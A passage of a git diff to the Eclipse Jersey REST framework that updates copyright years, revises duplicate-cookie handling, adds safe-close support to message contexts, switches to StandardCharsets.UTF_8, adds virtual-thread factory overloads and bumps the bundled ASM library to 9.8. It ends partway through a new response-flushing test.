+        if (!FlushedCloseable.flushOnClose(adaptedOutput)) {
+            flush();
+        }
+    }
+
     /**
      * Determine whether the stream was already committed or not.
      *
diff --git a/core-common/src/main/java/org/glassfish/jersey/message/internal/CookieProvider.java b/core-common/src/main/java/org/glassfish/jersey/message/internal/CookieProvider.java
index 5463561..a509120 100644
--- a/core-common/src/main/java/org/glassfish/jersey/message/internal/CookieProvider.java
+++ b/core-common/src/main/java/org/glassfish/jersey/message/internal/CookieProvider.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2010, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2010, 2025 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
diff --git a/core-common/src/main/java/org/glassfish/jersey/message/internal/CookiesParser.java b/core-common/src/main/java/org/glassfish/jersey/message/internal/CookiesParser.java
index 14a008d..958a1bc 100644
--- a/core-common/src/main/java/org/glassfish/jersey/message/internal/CookiesParser.java
+++ b/core-common/src/main/java/org/glassfish/jersey/message/internal/CookiesParser.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2010, 2024 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2010, 2025 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -86,20 +86,29 @@
     }
 
     /**
-     * Check if a cookie with identical name had been parsed.
-     * If yes, the one with the longest string will be kept
+     * Check if a cookie with similar names had been parsed.
+     * If yes, the one with the longest path will be kept
+     * For similar paths the newest is stored
      * @param cookies : Map of cookies
      * @param cookie : Cookie to be checked
      */
     private static void checkSimilarCookieName(Map<String, Cookie> cookies, MutableCookie cookie) {
-        if (cookie != null) {
-            if (cookies.containsKey(cookie.name)){
-                if (cookie.value.length() > cookies.get(cookie.name).getValue().length()){
-                    cookies.put(cookie.name, cookie.getImmutableCookie());
-                }
-            } else {
-                cookies.put(cookie.name, cookie.getImmutableCookie());
-            }
+        if (cookie == null) {
+            return;
+        }
+
+        boolean alreadyPresent = cookies.containsKey(cookie.name);
+        boolean recordCookie = !alreadyPresent;
+
+        if (alreadyPresent) {
+            final String newPath = cookie.path == null ? "" : cookie.path;
+            final String existingPath = cookies.get(cookie.name).getPath() == null ? ""
+                    : cookies.get(cookie.name).getPath();
+            recordCookie = (newPath.length() >= existingPath.length());
+        }
+
+        if (recordCookie) {
+            cookies.put(cookie.name, cookie.getImmutableCookie());
         }
     }
 
diff --git a/core-common/src/main/java/org/glassfish/jersey/message/internal/EntityInputStream.java b/core-common/src/main/java/org/glassfish/jersey/message/internal/EntityInputStream.java
index 2610e17..72a5227 100644
--- a/core-common/src/main/java/org/glassfish/jersey/message/internal/EntityInputStream.java
+++ b/core-common/src/main/java/org/glassfish/jersey/message/internal/EntityInputStream.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2012, 2025 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
diff --git a/core-common/src/main/java/org/glassfish/jersey/message/internal/HeaderUtils.java b/core-common/src/main/java/org/glassfish/jersey/message/internal/HeaderUtils.java
index aeea686..c60386b 100644
--- a/core-common/src/main/java/org/glassfish/jersey/message/internal/HeaderUtils.java
+++ b/core-common/src/main/java/org/glassfish/jersey/message/internal/HeaderUtils.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2010, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2010, 2025 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -210,7 +210,7 @@
         }
 
         return new AbstractMultivaluedMap<String, String>(
-                Views.mapView(headers, input -> HeaderUtils.asStringList(input, rd))
+                Views.mapObjectToStringView(headers, input -> HeaderUtils.asStringList(input, rd))
         ) {
         };
     }
diff --git a/core-common/src/main/java/org/glassfish/jersey/message/internal/InboundMessageContext.java b/core-common/src/main/java/org/glassfish/jersey/message/internal/InboundMessageContext.java
index 8f31f74..46446a4 100644
--- a/core-common/src/main/java/org/glassfish/jersey/message/internal/InboundMessageContext.java
+++ b/core-common/src/main/java/org/glassfish/jersey/message/internal/InboundMessageContext.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2012, 2025 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -45,6 +45,7 @@
 
 import javax.xml.transform.Source;
 
+import org.glassfish.jersey.innate.io.SafelyClosable;
 import org.glassfish.jersey.internal.LocalizationMessages;
 import org.glassfish.jersey.internal.PropertiesDelegate;
 import org.glassfish.jersey.internal.util.collection.GuardianStringKeyMultivaluedMap;
@@ -58,7 +59,7 @@
  *
  * @author Marek Potociar
  */
-public abstract class InboundMessageContext extends MessageHeaderMethods {
+public abstract class InboundMessageContext extends MessageHeaderMethods implements SafelyClosable {
 
     private static final InputStream EMPTY = new InputStream() {
 
@@ -156,8 +157,22 @@
      *                      as required by JAX-RS specification on the server side.
      */
     public InboundMessageContext(Configuration configuration, boolean translateNce) {
+        this(configuration, HeaderUtils.createInbound(), translateNce);
+    }
+
+    /**
+     * Create new inbound message context.
+     *
+     * @param configuration the related client/server side {@link Configuration}. If {@code null},
+     *                      the default behaviour is expected.
+     * @param httpHeaders   the http headers map.
+     * @param translateNce  if {@code true}, the {@link javax.ws.rs.core.NoContentException} thrown by a
+     *                      selected message body reader will be translated into a {@link javax.ws.rs.BadRequestException}
+     *                      as required by JAX-RS specification on the server side.
+     */
+    public InboundMessageContext(Configuration configuration, MultivaluedMap<String, String> httpHeaders, boolean translateNce) {
         super(configuration);
-        this.headers = new GuardianStringKeyMultivaluedMap<>(HeaderUtils.createInbound());
+        this.headers = new GuardianStringKeyMultivaluedMap<>(httpHeaders);
         this.entityContent = new EntityContent();
         this.translateNce = translateNce;
         this.configuration = configuration;
@@ -301,7 +316,11 @@
         }
 
         final Iterator<String> valuesIterator = values.iterator();
-        StringBuilder buffer = new StringBuilder(valuesIterator.next());
+        String next = valuesIterator.next();
+        if (next == null) {
+            next = "";
+        }
+        StringBuilder buffer = new StringBuilder(next);
         while (valuesIterator.hasNext()) {
             buffer.append(',').append(valuesIterator.next());
         }
@@ -720,6 +739,9 @@
      */
     public void close() {
         entityContent.close(true);
+        if (workers != null) {
+            workers.close();
+        }
         setWorkers(null);
     }
 
diff --git a/core-common/src/main/java/org/glassfish/jersey/message/internal/MessageBodyFactory.java b/core-common/src/main/java/org/glassfish/jersey/message/internal/MessageBodyFactory.java
index a63f789..0b26bdb 100644
--- a/core-common/src/main/java/org/glassfish/jersey/message/internal/MessageBodyFactory.java
+++ b/core-common/src/main/java/org/glassfish/jersey/message/internal/MessageBodyFactory.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2010, 2024 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2010, 2025 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -1191,4 +1191,11 @@
         }
         return false;
     }
+
+
+    @Override
+    public void close() {
+        // NOOP
+    }
+
 }
diff --git a/core-common/src/main/java/org/glassfish/jersey/message/internal/NewCookieProvider.java b/core-common/src/main/java/org/glassfish/jersey/message/internal/NewCookieProvider.java
index 08fbf5a..2d7a2ea 100644
--- a/core-common/src/main/java/org/glassfish/jersey/message/internal/NewCookieProvider.java
+++ b/core-common/src/main/java/org/glassfish/jersey/message/internal/NewCookieProvider.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2010, 2024 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2010, 2025 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
diff --git a/core-common/src/main/java/org/glassfish/jersey/message/internal/OutboundMessageContext.java b/core-common/src/main/java/org/glassfish/jersey/message/internal/OutboundMessageContext.java
index ceb1540..5e2cd70 100644
--- a/core-common/src/main/java/org/glassfish/jersey/message/internal/OutboundMessageContext.java
+++ b/core-common/src/main/java/org/glassfish/jersey/message/internal/OutboundMessageContext.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2012, 2025 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -39,6 +39,7 @@
 import jakarta.ws.rs.core.MultivaluedMap;
 
 import org.glassfish.jersey.CommonProperties;
+import org.glassfish.jersey.innate.io.SafelyClosable;
 import org.glassfish.jersey.internal.RuntimeDelegateDecorator;
 import org.glassfish.jersey.internal.util.ReflectionHelper;
 import org.glassfish.jersey.internal.util.collection.GuardianStringKeyMultivaluedMap;
@@ -52,7 +53,7 @@
  *
  * @author Marek Potociar
  */
-public class OutboundMessageContext extends MessageHeaderMethods {
+public class OutboundMessageContext extends MessageHeaderMethods implements SafelyClosable {
     private static final Annotation[] EMPTY_ANNOTATIONS = new Annotation[0];
     private static final List<MediaType> WILDCARD_ACCEPTABLE_TYPE_SINGLETON_LIST =
             Collections.<MediaType>singletonList(MediaTypes.WILDCARD_ACCEPTABLE_TYPE);
@@ -133,7 +134,7 @@
      */
     @Deprecated
     public OutboundMessageContext() {
-        this ((Configuration) null);
+        this((Configuration) null);
     }
 
     /**
@@ -562,7 +563,9 @@
         if (hasEntity()) {
             try {
                 final OutputStream es = getEntityStream();
-                if (!FlushedCloseable.class.isInstance(es)) {
+                if (CommittingOutputStream.class.isInstance(es)) {
+                    ((CommittingOutputStream) es).flushOnClose();
+                } else if (!FlushedCloseable.flushOnClose(es)) {
                     es.flush();
                 }
                 es.close();
diff --git a/core-common/src/main/java/org/glassfish/jersey/message/internal/ReaderWriter.java b/core-common/src/main/java/org/glassfish/jersey/message/internal/ReaderWriter.java
index ae8e7d8..35a7ee1 100644
--- a/core-common/src/main/java/org/glassfish/jersey/message/internal/ReaderWriter.java
+++ b/core-common/src/main/java/org/glassfish/jersey/message/internal/ReaderWriter.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2010, 2023 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2010, 2025 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -52,20 +52,14 @@
 public final class ReaderWriter {
 
     private static final Logger LOGGER = Logger.getLogger(ReaderWriter.class.getName());
-    /**
-     * The UTF-8 Charset.
-     *
-     * @deprecated use {@code StandardCharsets.UTF_8} instead
-     */
-    @Deprecated(forRemoval = true)
-    public static final Charset UTF8 = StandardCharsets.UTF_8;
+
     /**
      * The buffer size for arrays of byte and character.
      */
     public static final int BUFFER_SIZE = getBufferSize();
 
     /**
-     * Whether {@linkplain BUFFER_SIZE} is to be ignored in favor of JRE's own decision.
+     * Whether {@linkplain #BUFFER_SIZE} is to be ignored in favor of JRE's own decision.
      */
     public static final boolean AUTOSIZE_BUFFER = getAutosizeBuffer();
 
@@ -184,11 +178,23 @@
         }
         return sb.toString();
     }
+
     /**
-     * The maximum size of array to allocate.
+     * Read/convert stream to the byte array.
+     *
+     * @param in stream to be converted to the byte array
+     * @return the byte array
+     * @throws IOException if there is an error reading from the stream
+     * @since 2.47
+     */
+    public static byte[] readFromAsBytes(InputStream in) throws IOException {
+        return readAllBytes(in);
+    }
+    /**
+     * The maximum size of an array to allocate.
      * Some VMs reserve some header words in an array.
      * Attempts to allocate larger arrays may result in
-     * OutOfMemoryError: Requested array size exceeds VM limit
+     * OutOfMemoryError: Requested array size exceeds the VM limit
      */
     private static final int MAX_BUFFER_SIZE = Integer.MAX_VALUE - 8;
 
@@ -269,9 +275,7 @@
      * @throws IOException in case of a write failure.
      */
     public static void writeToAsString(String s, OutputStream out, MediaType type) throws IOException {
-        Writer osw = new OutputStreamWriter(out, getCharset(type));
-        osw.write(s);
-        osw.flush();
+        out.write(s.getBytes(getCharset(type)));
     }
 
     /**
diff --git a/core-common/src/main/java/org/glassfish/jersey/model/internal/ComponentBag.java b/core-common/src/main/java/org/glassfish/jersey/model/internal/ComponentBag.java
index 88beaad..884a85d 100644
--- a/core-common/src/main/java/org/glassfish/jersey/model/internal/ComponentBag.java
+++ b/core-common/src/main/java/org/glassfish/jersey/model/internal/ComponentBag.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2012, 2025 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -605,7 +605,7 @@
         return instancesView.stream()
                             .filter(input -> {
                                 final ContractProvider model = getModel(input.getClass());
-                                return filter.test(model);
+                                return model == null ? false : filter.test(model);
                             })
                             .collect(Collectors.toCollection(LinkedHashSet::new));
     }
diff --git a/core-common/src/main/java/org/glassfish/jersey/uri/UriComponent.java b/core-common/src/main/java/org/glassfish/jersey/uri/UriComponent.java
index 523614c..b543d01 100644
--- a/core-common/src/main/java/org/glassfish/jersey/uri/UriComponent.java
+++ b/core-common/src/main/java/org/glassfish/jersey/uri/UriComponent.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2010, 2023 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2010, 2025 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -16,13 +16,11 @@
 
 package org.glassfish.jersey.uri;
 
-import java.io.UnsupportedEncodingException;
 import java.net.URI;
 import java.net.URLDecoder;
 import java.nio.ByteBuffer;
 import java.nio.Buffer;
 import java.nio.CharBuffer;
-import java.nio.charset.Charset;
 import java.util.ArrayList;
 import java.util.Arrays;
 import java.util.LinkedList;
@@ -34,6 +32,8 @@
 import org.glassfish.jersey.internal.LocalizationMessages;
 import org.glassfish.jersey.internal.util.collection.MultivaluedStringMap;
 
+import static java.nio.charset.StandardCharsets.UTF_8;
+
 /**
  * Utility class for validating, encoding and decoding components
  * of a URI.
@@ -333,7 +333,7 @@
 
     private static void appendUTF8EncodedCharacter(final StringBuilder sb, final int codePoint) {
         final CharBuffer chars = CharBuffer.wrap(Character.toChars(codePoint));
-        final ByteBuffer bytes = UTF_8_CHARSET.encode(chars);
+        final ByteBuffer bytes = UTF_8.encode(chars);
 
         while (bytes.hasRemaining()) {
             appendPercentEncodedOctet(sb, bytes.get() & 0xFF);
@@ -424,8 +424,6 @@
         return table;
     }
 
-    private static final Charset UTF_8_CHARSET = Charset.forName("UTF-8");
-
     /**
      * Decodes characters of a string that are percent-encoded octets using
      * UTF-8 decoding (if needed).
@@ -565,19 +563,14 @@
     @SuppressWarnings("StatementWithEmptyBody")
     private static void decodeQueryParam(final MultivaluedMap<String, String> params, final String param,
                                          final boolean decodeNames, final boolean decodeValues) {
-        try {
-            final int equals = param.indexOf('=');
-            if (equals > 0) {
-                params.add((decodeNames) ? URLDecoder.decode(param.substring(0, equals), "UTF-8") : param.substring(0, equals),
-                        (decodeValues) ? URLDecoder.decode(param.substring(equals + 1), "UTF-8") : param.substring(equals + 1));
-            } else if (equals == 0) {
-                // no key declared, ignore
-            } else if (param.length() > 0) {
-                params.add((decodeNames) ? URLDecoder.decode(param, "UTF-8") : param, "");
-            }
-        } catch (final UnsupportedEncodingException ex) {
-            // This should never occur
-            throw new IllegalArgumentException(ex);
+        final int equals = param.indexOf('=');
+        if (equals > 0) {
+            params.add((decodeNames) ? URLDecoder.decode(param.substring(0, equals), UTF_8) : param.substring(0, equals),
+                    (decodeValues) ? URLDecoder.decode(param.substring(equals + 1), UTF_8) : param.substring(equals + 1));
+        } else if (equals == 0) {
+            // no key declared, ignore
+        } else if (param.length() > 0) {
+            params.add((decodeNames) ? URLDecoder.decode(param, UTF_8) : param, "");
         }
     }
 
@@ -853,7 +846,7 @@
             return i + 2;
         } else {
             //
-            final CharBuffer cb = UTF_8_CHARSET.decode(bb);
+            final CharBuffer cb = UTF_8.decode(bb);
             sb.append(cb.toString());
             return i + ((Buffer) bb).limit() * 3 - 1;
         }
diff --git a/core-common/src/main/java20-/org/glassfish/jersey/innate/VirtualThreadSupport.java b/core-common/src/main/java20-/org/glassfish/jersey/innate/VirtualThreadSupport.java
index 867a65b..12e06d3 100644
--- a/core-common/src/main/java20-/org/glassfish/jersey/innate/VirtualThreadSupport.java
+++ b/core-common/src/main/java20-/org/glassfish/jersey/innate/VirtualThreadSupport.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2024 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2024, 2025 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -17,6 +17,7 @@
 package org.glassfish.jersey.innate;
 
 import org.glassfish.jersey.innate.virtual.LoomishExecutors;
+import org.glassfish.jersey.innate.virtual.ThreadFactoryBuilder;
 
 import java.util.concurrent.ExecutorService;
 import java.util.concurrent.Executors;
@@ -56,13 +57,30 @@
     /**
      * Return an instance of {@link LoomishExecutors} based on a permission to use virtual threads.
      * @param allow whether to allow virtual threads.
-     * @param threadFactory the thread factory to be used by a the {@link ExecutorService}.
+     * @param threadFactory the thread factory to be used by the {@link ExecutorService}.
      * @return the {@link LoomishExecutors} instance.
      */
     public static LoomishExecutors allowVirtual(boolean allow, ThreadFactory threadFactory) {
         return new NonLoomishExecutors(threadFactory);
     }
 
+    /**
+     * Return an instance of {@link LoomishExecutors} based on a permission to use virtual threads.
+     * @param allow whether to allow virtual threads.
+     * @param threadFactoryBuilder the builder used to build thread factory to be used by the {@link ExecutorService}.
+     * @return the {@link LoomishExecutors} instance.
+     */
+    public static LoomishExecutors allowVirtual(boolean allow, ThreadFactoryBuilder threadFactoryBuilder) {
+        ThreadFactory threadFactory = new ThreadFactory() {
+            private long index = threadFactoryBuilder.start();
+            @Override
+            public Thread newThread(Runnable r) {
+                return new Thread(r, threadFactoryBuilder.prefix() + index++);
+            }
+        };
+        return new NonLoomishExecutors(threadFactory);
+    }
+
     private static final class NonLoomishExecutors implements LoomishExecutors {
         private final ThreadFactory threadFactory;
 
diff --git a/core-common/src/main/java21/org/glassfish/jersey/innate/VirtualThreadSupport.java b/core-common/src/main/java21/org/glassfish/jersey/innate/VirtualThreadSupport.java
index 0e7d695..14bc024 100644
--- a/core-common/src/main/java21/org/glassfish/jersey/innate/VirtualThreadSupport.java
+++ b/core-common/src/main/java21/org/glassfish/jersey/innate/VirtualThreadSupport.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2024 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2024, 2025 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -17,6 +17,7 @@
 package org.glassfish.jersey.innate;
 
 import org.glassfish.jersey.innate.virtual.LoomishExecutors;
+import org.glassfish.jersey.innate.virtual.ThreadFactoryBuilder;
 
 import java.util.concurrent.ExecutorService;
 import java.util.concurrent.Executors;
@@ -57,13 +58,33 @@
     /**
      * Return an instance of {@link LoomishExecutors} based on a permission to use virtual threads.
      * @param allow whether to allow virtual threads.
-     * @param threadFactory the thread factory to be used by a the {@link ExecutorService}.
+     * @param threadFactory the thread factory to be used by the {@link ExecutorService}.
      * @return the {@link LoomishExecutors} instance.
      */
     public static LoomishExecutors allowVirtual(boolean allow, ThreadFactory threadFactory) {
         return allow ? new Java21LoomishExecutors(threadFactory) : new NonLoomishExecutors(threadFactory);
     }
 
+    /**
+     * Return an instance of {@link LoomishExecutors} based on a permission to use virtual threads.
+     * @param allow whether to allow virtual threads.
+     * @param threadFactoryBuilder the builder used to build thread factory to be used by the {@link ExecutorService}.
+     * @return the {@link LoomishExecutors} instance.
+     */
+    public static LoomishExecutors allowVirtual(boolean allow, ThreadFactoryBuilder threadFactoryBuilder) {
+        return allow ? loomish(threadFactoryBuilder) : nonLoomish(threadFactoryBuilder);
+    }
+
+    private static LoomishExecutors nonLoomish(ThreadFactoryBuilder threadFactoryBuilder) {
+        return new NonLoomishExecutors(
+                Thread.ofPlatform().name(threadFactoryBuilder.prefix(), threadFactoryBuilder.start()).factory());
+    }
+
+    private static LoomishExecutors loomish(ThreadFactoryBuilder threadFactoryBuilder) {
+        return new Java21LoomishExecutors(
+                Thread.ofVirtual().name(threadFactoryBuilder.prefix(), threadFactoryBuilder.start()).factory());
+    }
+
     private static class NonLoomishExecutors implements LoomishExecutors {
         private final ThreadFactory threadFactory;
 
diff --git a/core-server/src/main/java/jersey/repackaged/org/objectweb/asm/ClassReader.java b/core-server/src/main/java/jersey/repackaged/org/objectweb/asm/ClassReader.java
index f5d846a..e027bdc 100644
--- a/core-server/src/main/java/jersey/repackaged/org/objectweb/asm/ClassReader.java
+++ b/core-server/src/main/java/jersey/repackaged/org/objectweb/asm/ClassReader.java
@@ -195,7 +195,7 @@
     this.b = classFileBuffer;
     // Check the class' major_version. This field is after the magic and minor_version fields, which
     // use 4 and 2 bytes respectively.
-    if (checkClassVersion && readShort(classFileOffset + 6) > Opcodes.V24) {
+    if (checkClassVersion && readShort(classFileOffset + 6) > Opcodes.V25) {
       throw new IllegalArgumentException(
           "Unsupported class file major version " + readShort(classFileOffset + 6));
     }
diff --git a/core-server/src/main/java/jersey/repackaged/org/objectweb/asm/MethodVisitor.java b/core-server/src/main/java/jersey/repackaged/org/objectweb/asm/MethodVisitor.java
index e2f2c92..29eac8f 100644
--- a/core-server/src/main/java/jersey/repackaged/org/objectweb/asm/MethodVisitor.java
+++ b/core-server/src/main/java/jersey/repackaged/org/objectweb/asm/MethodVisitor.java
@@ -596,7 +596,7 @@
    * Visits a LOOKUPSWITCH instruction.
    *
    * @param dflt beginning of the default handler block.
-   * @param keys the values of the keys.
+   * @param keys the values of the keys. Keys must be sorted in increasing order.
    * @param labels beginnings of the handler blocks. {@code labels[i]} is the beginning of the
    *     handler block for the {@code keys[i]} key.
    */
diff --git a/core-server/src/main/java/jersey/repackaged/org/objectweb/asm/Opcodes.java b/core-server/src/main/java/jersey/repackaged/org/objectweb/asm/Opcodes.java
index eeb3df7..8a6ca40 100644
--- a/core-server/src/main/java/jersey/repackaged/org/objectweb/asm/Opcodes.java
+++ b/core-server/src/main/java/jersey/repackaged/org/objectweb/asm/Opcodes.java
@@ -290,6 +290,7 @@
   int V22 = 0 << 16 | 66;
   int V23 = 0 << 16 | 67;
   int V24 = 0 << 16 | 68;
+  int V25 = 0 << 16 | 69;
 
   /**
    * Version flag indicating that the class is using 'preview' features.
diff --git a/core-server/src/main/java/org/glassfish/jersey/server/ContainerRequest.java b/core-server/src/main/java/org/glassfish/jersey/server/ContainerRequest.java
index 6d9fba2..325bf93 100644
--- a/core-server/src/main/java/org/glassfish/jersey/server/ContainerRequest.java
+++ b/core-server/src/main/java/org/glassfish/jersey/server/ContainerRequest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2012, 2023 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2012, 2025 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
diff --git a/core-server/src/main/java/org/glassfish/jersey/server/internal/scanning/AnnotationAcceptingListener.java b/core-server/src/main/java/org/glassfish/jersey/server/internal/scanning/AnnotationAcceptingListener.java
index 917d094..807252c 100644
--- a/core-server/src/main/java/org/glassfish/jersey/server/internal/scanning/AnnotationAcceptingListener.java
+++ b/core-server/src/main/java/org/glassfish/jersey/server/internal/scanning/AnnotationAcceptingListener.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2012, 2025 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -309,7 +309,7 @@
 
     private static class ClassReaderWrapper {
         private static final Logger LOGGER = Logger.getLogger(ClassReader.class.getName());
-        private static final int WARN_VERSION = Opcodes.V24;
+        private static final int WARN_VERSION = Opcodes.V25;
         private static final int INPUT_STREAM_DATA_CHUNK_SIZE = 4096;
 
         private final byte[] b;
diff --git a/core-server/src/main/java/org/glassfish/jersey/server/wadl/internal/generators/WadlGeneratorJAXBGrammarGenerator.java b/core-server/src/main/java/org/glassfish/jersey/server/wadl/internal/generators/WadlGeneratorJAXBGrammarGenerator.java
index 25b3c52..058f223 100644
--- a/core-server/src/main/java/org/glassfish/jersey/server/wadl/internal/generators/WadlGeneratorJAXBGrammarGenerator.java
+++ b/core-server/src/main/java/org/glassfish/jersey/server/wadl/internal/generators/WadlGeneratorJAXBGrammarGenerator.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2010, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2010, 2025 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,6 +23,7 @@
 import java.lang.reflect.InvocationTargetException;
 import java.lang.reflect.ParameterizedType;
 import java.lang.reflect.Type;
+import java.nio.charset.StandardCharsets;
 import java.security.AccessController;
 import java.security.PrivilegedActionException;
 import java.security.PrivilegedExceptionAction;
@@ -361,7 +362,7 @@
 
             for (final StreamResult result : results) {
                 final CharArrayWriter writer = (CharArrayWriter) result.getWriter();
-                final byte[] contents = writer.toString().getBytes("UTF8");
+                final byte[] contents = writer.toString().getBytes(StandardCharsets.UTF_8);
                 extraFiles.put(
                         result.getSystemId(),
                         new ApplicationDescription.ExternalGrammar(
diff --git a/core-server/src/main/resources/META-INF/NOTICE.markdown b/core-server/src/main/resources/META-INF/NOTICE.markdown
index 2016cb4..ab6fea0 100644
--- a/core-server/src/main/resources/META-INF/NOTICE.markdown
+++ b/core-server/src/main/resources/META-INF/NOTICE.markdown
@@ -36,7 +36,7 @@
 * Copyright (c) 2015-2018 Oracle and/or its affiliates. All rights reserved.

 * Copyright 2010-2013 Coda Hale and Yammer, Inc.

 

-org.objectweb.asm Version 9.7.1

+org.objectweb.asm Version 9.8

 * License: Modified BSD (https://asm.ow2.io/license.html)

 * Copyright: (c) 2000-2011 INRIA, France Telecom. All rights reserved.

 

diff --git a/core-server/src/test/java/org/glassfish/jersey/server/ContainerResponseWriterNoFlushTest.java b/core-server/src/test/java/org/glassfish/jersey/server/ContainerResponseWriterNoFlushTest.java
new file mode 100644
index 0000000..18c7eb2
--- /dev/null
+++ b/core-server/src/test/java/org/glassfish/jersey/server/ContainerResponseWriterNoFlushTest.java
@@ -0,0 +1,150 @@
+/*
+ * Copyright (c) 2024, 2025 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.server;
+
+
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.Produces;
+import jakarta.ws.rs.core.MediaType;
+import jakarta.ws.rs.core.Response;
+import jakarta.ws.rs.core.StreamingOutput;
+import org.glassfish.jersey.internal.MapPropertiesDelegate;
+import org.glassfish.jersey.io.spi.FlushedCloseable;
+import org.glassfish.jersey.message.MessageBodyWorkers;
+import org.glassfish.jersey.server.RequestContextBuilder.TestContainerRequest;
+import org.glassfish.jersey.server.spi.ContainerResponseWriter;
+import org.hamcrest.MatcherAssert;
+import org.hamcrest.Matchers;
+import org.junit.jupiter.api.Test;
+
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+import java.io.OutputStream;
+import java.net.URI;
+import java.nio.charset.StandardCharsets;
+import java.util.concurrent.Future;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.atomic.AtomicInteger;
+
+public class ContainerResponseWriterNoFlushTest {
+    private static final String RESPONSE = "RESPONSE";
+    private static AtomicInteger flushCounter = new AtomicInteger(0);
+    private static class TestResponseOutputStream extends ByteArrayOutputStream implements FlushedCloseable {
+        private boolean closed = false;
+        @Override
+        public void close() throws IOException {
+            if (!closed) {
+                closed = true;
+                flush();
+                super.close();
+            }
+        }
+
+        @Override
+        public void flush() throws IOException {
+            flushCounter.incrementAndGet();
+        }
+    }
+
+    private static class TestContainerWriter implements ContainerResponseWriter {
+        TestResponseOutputStream outputStream;
+        private final boolean buffering;
+
+        private TestContainerWriter(boolean buffering) {
+            this.buffering = buffering;
+        }
+
+        @Override
+        public OutputStream writeResponseStatusAndHeaders(long contentLength, ContainerResponse responseContext)
+                throws ContainerException {
+            outputStream = new TestResponseOutputStream();
+            return outputStream;
+        }
+
+        @Override
+        public boolean suspend(long timeOut, TimeUnit timeUnit, TimeoutHandler timeoutHandler) {
+            return false;
+        }
+
+        @Override
+        public void setSuspendTimeout(long timeOut, TimeUnit timeUnit) throws IllegalStateException {
+        }
+
